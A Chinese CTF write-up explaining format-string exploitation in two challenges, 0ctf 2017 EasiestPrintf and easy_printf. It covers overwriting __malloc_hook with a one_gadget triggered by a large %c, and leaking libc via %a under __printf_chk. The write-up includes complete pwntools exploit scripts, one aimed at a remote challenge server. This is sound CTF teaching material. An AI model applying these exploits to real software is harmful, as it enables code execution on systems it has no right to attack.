printf玩出了新花样

1、2017-0ctf-EasiestPrintf

checkseck

1
2
3
4
5
Arch:     i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

got 表不可改

程序逻辑很简单,先给你一个真实地址printf("%#x\n", *v1);,之后有一次printf(s)格式化字符串的机会,就调用exit退出 ,所以我们需要在这次printf(s)后就控制 EIP

需要注意的是,程序在leave前进行了一次随机抬栈v3 = alloca(16 * ((buf + 30) / 0x10u));所以想直接通过printf控制栈是不太可能的,因为偏移每次都不一样。而且got表不可改,也不存在将exit@got改为main。

这里需要知道一个点,printf 是会调用malloc和free函数的,在它需要输入一串比较长的字符时,需要临时申请空间来存放这些字符,输出后再调用free释放这部分空间。

所以这题的思路就是,将malloc_hook利用printf 修改为onegadget,然后通过%100000c来触发malloc调用onegadget

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level = 'debug'
p = process('./EasiestPrintf5')
elf = ELF('./EasiestPrintf5')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

one = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]

p.sendlineafter("read:\n",str(elf.got['read']))
read_addr = int(p.recvuntil('\n')[:-1],16)
libc_base = read_addr - libc.symbols['read']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
malloc = libc_base + libc.symbols['malloc']
onegadget = libc_base + one[2]
log.info("read_addr --> %s",hex(read_addr))
log.info("malloc --> %s",hex(malloc))
pay = fmtstr_payload(7,{malloc_hook:onegadget})
pay += "%100000c"
gdb.attach(p,"b *0x804881C")
p.sendlineafter("Bye\n",pay)
p.interactive()

2、easy_printf

这道题来自星盟pwn平台,出自EX师傅的手,同时欢迎大家来我们的pwn平台刷题,题目质量绝对杠杠的

保护全开,环境是libc2.27,程序两个功能,1、调用printf_chk;2、调用printf且存在格式化字符串漏洞的

1
2
3
4
.text:0000000000000ADD                 call    _printf
.text:0000000000000AE2 mov edi, 0 ; error_code
.text:0000000000000AE7 mov eax, 0E7h
.text:0000000000000AEC syscall

可以看到调用完printf用程序也是直接退出了,所以利用方式还是跟0ctf一样通过调用malloc来get shell,但是首先要拿到libc_base

回头看printf_chk函数,printf_chk函数可以有效地阻拦格式化字符串的攻击,无法直接使用%x$p,也无法使用%n

%a leak libc

以下面代码为例

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>                                  
#include <stdlib.h>

int main()
{
printf("%d,%d,%d,%d,%d,%d\n",1,2,3,4,5,6);
printf("%f,%f,%f,%f,%f,%f\n",1.0,2.0,3.0,4.0,5.0,6.0);
printf("%d,%f,%d,%f,%d,%f\n",1,2.0,3,4.0,5,6.0);
printf("%d,%d,%d,%f,%f,%f\n",1.0,2.0,3.0,4,5,6);

return 0;
}

64位下的__printf_chk编译 gcc -o test -t -O1 test.c

1
2
3
4
5
6
7
8
9
10
11
► 0x400517 <main>       sub    rsp, 8
0x40051b <main+4> push 6
0x40051d <main+6> push 5
0x40051f <main+8> mov r9d, 4
0x400525 <main+14> mov r8d, 3
0x40052b <main+20> mov ecx, 2
0x400530 <main+25> mov edx, 1
0x400535 <main+30> lea rsi, [rip + 0x168]
0x40053c <main+37> mov edi, 1
0x400541 <main+42> mov eax, 0
0x400546 <main+47> call __printf_chk@plt <0x400420>

第一句,printf("%d,%d,%d,%d,%d,%d\n",1,2,3,4,5,6);
遵守一般的调用约定,前6个参数通过寄存器rdirsirdxrcxrcxr8r9,剩余的参数通过栈传递

1
2
3
4
5
6
7
8
9
10
  0x40054b <main+52>     movsd  xmm5, qword ptr [rip + 0x19d]
0x400553 <main+60> movsd xmm4, qword ptr [rip + 0x19d]
0x40055b <main+68> movsd xmm3, qword ptr [rip + 0x19d]
0x400563 <main+76> movsd xmm2, qword ptr [rip + 0x19d]
0x40056b <main+84> movsd xmm1, qword ptr [rip + 0x19d]
► 0x400573 <main+92> movsd xmm0, qword ptr [rip + 0x19d]
0x40057b <main+100> lea rsi, [rip + 0x135]
0x400582 <main+107> mov edi, 1
0x400587 <main+112> mov eax, 6
0x40058c <main+117> call __printf_chk@plt <0x400420>

第二句printf("%f,%f,%f,%f,%f,%f\n",1.0,2.0,3.0,4.0,5.0,6.0);
浮点数通过浮点数寄存器xmm0xmm7,剩下的参数通过栈来传递

1
2
3
4
5
6
7
8
9
10
  0x400591 <main+122>    movsd  xmm2, qword ptr [rip + 0x157]
0x400599 <main+130> mov r8d, 5
0x40059f <main+136> movsd xmm1, qword ptr [rip + 0x159]
0x4005a7 <main+144> mov ecx, 3
0x4005ac <main+149> movsd xmm0, qword ptr [rip + 0x15c]
► 0x4005b4 <main+157> mov edx, 1
0x4005b9 <main+162> lea rsi, [rip + 0x10a]
0x4005c0 <main+169> mov edi, 1
0x4005c5 <main+174> mov eax, 3
0x4005ca <main+179> call __printf_chk@plt <0x400420>

第三句printf("%d,%f,%d,%f,%d,%f\n",1,2.0,3,4.0,5,6.0);
和预想一样,整数存入整数寄存器,浮点数存入浮点数寄存器

1
2
3
4
5
6
7
8
9
10
  0x4005cf <main+184>    mov    r8d, 6
0x4005d5 <main+190> mov ecx, 5
0x4005da <main+195> mov edx, 4
0x4005df <main+200> movsd xmm2, qword ptr [rip + 0x121]
0x4005e7 <main+208> movsd xmm1, qword ptr [rip + 0x121]
► 0x4005ef <main+216> movsd xmm0, qword ptr [rip + 0x121]
0x4005f7 <main+224> lea rsi, [rip + 0xdf]
0x4005fe <main+231> mov edi, 1
0x400603 <main+236> mov eax, 3
0x400608 <main+241> call __printf_chk@plt <0x400420>

第四句printf("%d,%d,%d,%f,%f,%f\n",1.0,2.0,3.0,4,5,6);1
编译器在编译时会根据格式化字符串的值选择寄存器的类型而不是通过格式化字符串选择

那么,%a leak 的值是哪的呢?

第一句printf("%d,%d,%d,%d,%d,%d\n",1,2,3,4,5,6);跟进__printf_chk函数,发现这里进行了堆栈操作,将之前寄存器的值压入栈中,之后一个条件跳转,接下来就是正常的执行流程了

1
2
3
4
5
6
7
8
9
10
11
12
  0x7ffff7b161e1 <__printf_chk+17>     test   al, al
0x7ffff7b161e3 <__printf_chk+19> mov qword ptr [rsp + 0x30], rdx
0x7ffff7b161e8 <__printf_chk+24> mov qword ptr [rsp + 0x38], rcx
0x7ffff7b161ed <__printf_chk+29> mov qword ptr [rsp + 0x40], r8
0x7ffff7b161f2 <__printf_chk+34> mov qword ptr [rsp + 0x48], r9
► 0x7ffff7b161f7 <__printf_chk+39> ✔ je __printf_chk+96 <0x7ffff7b16230>

0x7ffff7b16230 <__printf_chk+96> mov rax, qword ptr fs:[0x28]
0x7ffff7b16239 <__printf_chk+105> mov qword ptr [rsp + 0x18], rax
0x7ffff7b1623e <__printf_chk+110> xor eax, eax
0x7ffff7b16240 <__printf_chk+112> mov rbp, qword ptr [rip + 0x2b8cf9]
0x7ffff7b16247 <__printf_chk+119> mov rbx, qword ptr [rbp]

第二句printf("%f,%f,%f,%f,%f,%f\n",1.0,2.0,3.0,4.0,5.0,6.0);__printf_chk函数,发现这里虽然 没有使用整数寄存器,但是同样将整数寄存器压入栈中,之后 由于未符合条件未发生跳转,接下来将浮点数寄存器压入栈中

1
2
3
4
5
6
7
8
9
10
11
12
  0x7ffff7b161e1 <__printf_chk+17>    test   al, al
0x7ffff7b161e3 <__printf_chk+19> mov qword ptr [rsp + 0x30], rdx
0x7ffff7b161e8 <__printf_chk+24> mov qword ptr [rsp + 0x38], rcx
0x7ffff7b161ed <__printf_chk+29> mov qword ptr [rsp + 0x40], r8
0x7ffff7b161f2 <__printf_chk+34> mov qword ptr [rsp + 0x48], r9
► 0x7ffff7b161f7 <__printf_chk+39> je __printf_chk+96 <0x7ffff7b16230>

0x7ffff7b161f9 <__printf_chk+41> movaps xmmword ptr [rsp + 0x50], xmm0
0x7ffff7b161fe <__printf_chk+46> movaps xmmword ptr [rsp + 0x60], xmm1
0x7ffff7b16203 <__printf_chk+51> movaps xmmword ptr [rsp + 0x70], xmm2
0x7ffff7b16208 <__printf_chk+56> movaps xmmword ptr [rsp + 0x80], xmm3
0x7ffff7b16210 <__printf_chk+64> movaps xmmword ptr [rsp + 0x90], xmm4

那么,这个寄存器al是什么呢,在调用__printf_chk之前 会对eax赋值,其值为浮点数的个数,如果没有浮点数,其值为0,0x400587 <main+112> mov eax, 6

到这里我们可以推测栈的布局如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
+--------------------------+
| value1 |
+--------------------------+
| value2 |
+--------------------------+
| ... |
+--------------------------+
| integer arg1 | <= rdx(rsp + 0x30)
+--------------------------+
| integer arg2 | <= rcx
+--------------------------+
| integer arg3 | <= r8
+--------------------------+
| integer arg4 | <= r9
+--------------------------+
| xmm arg1 | <= xmm0(rsp + 0x50)
+--------------------------+
| ... |
+--------------------------+
| xmm arg7 | <= xmm7
+--------------------------+
| rbp |
+--------------------------+
| ret |
+--------------------------+
| arg1 |
+--------------------------+
| ... |
+--------------------------+
| argn |
+--------------------------+

对于格式化字符串,在栈中有一段shadow space,用于将寄存器中的值压栈,这样有利于va_start (ap, format);的实现

shadow space中有一段栈空间用于保存整数型变量,一段栈空间用于保存浮点数类型变量,两者互不影响

在开始的时候会将所有用于传递整数类型的寄存器rdxrcxr8r9压入栈用

之后会判断al的值是否为0,al为参数列表中使用xmm寄存器的个数,当al不为0时,会将所有的浮点数寄存器压入栈中

然后根据va_start (ap, format);读取相应栈上的值

所以,由于程序编译时参数列表并没有值,所以不会将浮点数寄存器压栈,但是在根据va_start(ap,format);读取的时候仍然会从shadow space中对应浮点数部分读取,因此我们leak出的是栈上本就存在的垃圾值

接下来的操作就跟上一题差不多了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#coding:utf-8
from pwn import *
from libformatstr import *
context.log_level = 'debug'
# p = process('./easy_printf')
p = remote("nc.eonew.cn","10010")
elf = ELF('./easy_printf')
libc = elf.libc
one = [0x4f2c5,0x4f322,0x10a38c]
# p = remote("nc.eonew.cn","10010")
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
p.sendlineafter("choice: ",'1')
# debug(0xa82)
p.sendlineafter("fmt: \n","%a%a")
p.recv(11)
addr = p.recvuntil("p-")[:-2]
addr += "00"
libc_base = int(addr,16) - 0x3eba00
free_hook = libc_base + libc.symbols['__free_hook']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
malloc = libc_base + libc.symbols['malloc']
free = libc_base + libc.symbols['free']
onegadget = libc_base + one[1]
log.info("libc_base --> %s",hex(libc_base))

p.sendlineafter('\n','2')
log.info("malloc_hook --> %s",hex(malloc_hook))
log.info("free_hook --> %s",hex(free_hook))
log.info("malloc -->%s",hex(malloc))
log.info("free --> %s",hex(free))
log.info("onegadget --> %s",hex(onegadget))

# debug(0xadd)
a = (onegadget >> 40) & 0xff
b = (onegadget >> 32) & 0xff
while b < a:
b += 0x100
c = (onegadget >> 24) & 0xff
while c < b:
c += 0x100
d = (onegadget >> 16) & 0xff
while d < c:
d += 0x100
e = (onegadget >> 8) & 0xff
while e < d:
e += 0x100
f = (onegadget) & 0xff
while f < e:
f += 0x100

log.success("a: %s",hex(a))
log.success("b: %s",hex(b))
log.success("c: %s",hex(c))
log.success("d: %s",hex(d))
log.success("e: %s",hex(e))
log.success("f: %s",hex(f))

pay = ""

pay += "%" + str(a) + "c%18$hhn"
pay += "%" + str(b - a) + "c%19$hhn"
pay += "%" + str(c - b) + "c%20$hhn"
pay += "%" + str(d - c) + "c%21$hhn"
pay += "%" + str(e - d) + "c%22$hhn"
pay += "%" + str(f - e) + "c%23$hhn"
pay += "%100000c"
pay = pay.ljust(0x50,'A')
pay += p64(malloc_hook+5)
pay += p64(malloc_hook+4)
pay += p64(malloc_hook+3)
pay += p64(malloc_hook+2)
pay += p64(malloc_hook+1)
pay += p64(malloc_hook)

'''
py64 = FormatStr(isx64=1)
py64[free_hook] = onegadget
pay = py64.payload(8)
'''

# pay = ""
# pay += "%100000c"
# pay += "%1024c%11$hn"
# pay = pay.ljust(0x18,'A')
# pay += p64(free_hook)

p.sendline(pay)
sleep(0.1)
p.sendline("cat flag>&0")
p.interactive()
0%